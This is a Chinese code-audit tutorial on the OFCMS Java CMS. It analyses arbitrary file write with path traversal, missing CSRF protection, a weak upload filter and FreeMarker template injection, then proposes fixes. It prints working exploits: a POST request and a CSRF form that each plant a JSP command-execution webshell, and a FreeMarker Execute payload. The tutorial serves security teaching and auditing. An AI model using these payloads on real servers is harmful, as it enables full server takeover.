从零开始java代码审计系列(四)
字数 1088 2025-08-29 08:32:18

Java代码审计实战教学:OFCMS漏洞分析与利用

一、项目背景与审计准备

审计项目:OFCMS(开源Java CMS系统)
项目地址:https://gitee.com/oufu/ofcms

审计工具准备:

  • IDEA集成开发环境
  • FindBugs插件(辅助静态代码分析)

二、漏洞1:后台任意文件上传

漏洞位置

/ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

漏洞代码分析

public void save() {
    String resPath = getPara("res_path");
    File pathFile = null;
    if ("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
    } else {
        pathFile = new File(SystemUtile.getSiteTemplatePath());
    }
    
    String dirName = getPara("dirs");
    if (dirName != null) {
        pathFile = new File(pathFile, dirName);
    }
    
    String fileName = getPara("file_name");
    String fileContent = getRequest().getParameter("file_content");
    fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
    
    File file = new File(pathFile, fileName);
    FileUtils.writeString(file, fileContent);
    rendSuccessJson();
}

漏洞特征

  1. 无任何过滤:直接接收用户输入的file_namefile_content参数
  2. 路径遍历:可通过../../实现目录穿越
  3. JSP代码写入:直接将内容写入文件,无任何安全限制

利用条件

  • 需要后台管理员权限
  • 可结合CSRF漏洞进行利用

利用方式

HTTP请求示例

POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 548

file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A+out.println(new+String(b))%3B%0A+7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

写入的JSP Webshell

<%
    if("p0desta".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

绕过机制

为什么需要写入static目录

public class ActionHandler extends Handler {
    private String[] suffix = {".html", ".jsp", ".json"};
    public static final String exclusions = "static/";
    
    @Override
    public void handle(String target, HttpServletRequest request, 
                      HttpServletResponse response, boolean[] isHandled) {
        // 过滤静态文件
        if (target.contains(exclusions)){
            return;
        }
        // 其他处理...
    }
}
  • 系统对.jsp.html.json后缀的请求会进行处理
  • static/目录下的文件会被直接放行,不进行后缀检查

三、漏洞2:CSRF漏洞

漏洞特征

  • 所有后台操作均未设置CSRF Token
  • 可构造恶意页面诱导管理员执行操作

CSRF攻击示例

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json" method="POST">
    <input type="hidden" name="file_path" value="" />
    <input type="hidden" name="dirs" value="/" />
    <input type="hidden" name="res_path" value="res" />
    <input type="hidden" name="file_name" value="../../static/shell2.jsp" />
    <input type="hidden" name="file_content" value="&lt;% if(&quot;p0desta&quot;.equals(request.getParameter(&quot;pwd&quot;))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(&quot;i&quot;)).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(&quot;&lt;pre&gt;&quot;); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(&quot;&lt;/pre&gt;&quot;); } %&gt;" />
    <input type="submit" value="Submit request" />
</form>
</body>
</html>

四、漏洞3:鸡肋的文件上传漏洞

漏洞位置

同文件上传功能,但限制更严格

安全限制代码

private boolean isSafeFile(UploadFile uploadFile) {
    String fileName = uploadFile.getFileName().trim().toLowerCase();
    if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) {
        return true;
    } else {
        uploadFile.getFile().delete();
        return false;
    }
}

绕过可能性

  • Windows系统特性:可利用test.jsp.test.jsp (末尾空格)绕过
  • 但上传路径固定为/upload/image/,无法目录穿越,因此实际利用价值低

五、漏洞4:服务端模板注入(FreeMarker)

漏洞背景

系统使用FreeMarker作为模板引擎

利用方式

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

攻击效果

  • 直接执行系统命令
  • 可获取服务器权限

六、修复建议

  1. 文件上传漏洞

    • 限制上传文件类型白名单
    • 禁止使用用户输入直接构造文件路径
    • 对上传文件内容进行安全检查
  2. CSRF漏洞

    • 添加CSRF Token机制
    • 关键操作使用POST请求
  3. 模板注入

    • 升级FreeMarker版本
    • 禁用危险的内建函数
    • 使用沙盒环境
  4. 其他

    • 实施严格的权限控制
    • 对用户输入进行严格过滤和校验
    • 定期进行安全审计和代码审查

七、总结

本次审计发现的漏洞链:

  1. 通过CSRF漏洞诱导管理员执行操作
  2. 利用任意文件上传写入Webshell
  3. 通过static目录绕过安全限制
  4. 最终获取服务器控制权限

这些漏洞组合利用可导致系统完全沦陷,需引起高度重视并及时修复。

Java代码审计实战教学:OFCMS漏洞分析与利用 一、项目背景与审计准备 审计项目:OFCMS(开源Java CMS系统) 项目地址:https://gitee.com/oufu/ofcms 审计工具准备: IDEA集成开发环境 FindBugs插件(辅助静态代码分析) 二、漏洞1:后台任意文件上传 漏洞位置 /ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java 漏洞代码分析 漏洞特征 无任何过滤 :直接接收用户输入的 file_name 和 file_content 参数 路径遍历 :可通过 ../../ 实现目录穿越 JSP代码写入 :直接将内容写入文件,无任何安全限制 利用条件 需要后台管理员权限 可结合CSRF漏洞进行利用 利用方式 HTTP请求示例 : 写入的JSP Webshell : 绕过机制 为什么需要写入static目录 : 系统对 .jsp 、 .html 、 .json 后缀的请求会进行处理 但 static/ 目录下的文件会被直接放行,不进行后缀检查 三、漏洞2:CSRF漏洞 漏洞特征 所有后台操作均未设置CSRF Token 可构造恶意页面诱导管理员执行操作 CSRF攻击示例 四、漏洞3:鸡肋的文件上传漏洞 漏洞位置 同文件上传功能,但限制更严格 安全限制代码 绕过可能性 Windows系统特性:可利用 test.jsp. 或 test.jsp (末尾空格)绕过 但上传路径固定为 /upload/image/ ,无法目录穿越,因此实际利用价值低 五、漏洞4:服务端模板注入(FreeMarker) 漏洞背景 系统使用FreeMarker作为模板引擎 利用方式 攻击效果 直接执行系统命令 可获取服务器权限 六、修复建议 文件上传漏洞 : 限制上传文件类型白名单 禁止使用用户输入直接构造文件路径 对上传文件内容进行安全检查 CSRF漏洞 : 添加CSRF Token机制 关键操作使用POST请求 模板注入 : 升级FreeMarker版本 禁用危险的内建函数 使用沙盒环境 其他 : 实施严格的权限控制 对用户输入进行严格过滤和校验 定期进行安全审计和代码审查 七、总结 本次审计发现的漏洞链: 通过CSRF漏洞诱导管理员执行操作 利用任意文件上传写入Webshell 通过static目录绕过安全限制 最终获取服务器控制权限 这些漏洞组合利用可导致系统完全沦陷,需引起高度重视并及时修复。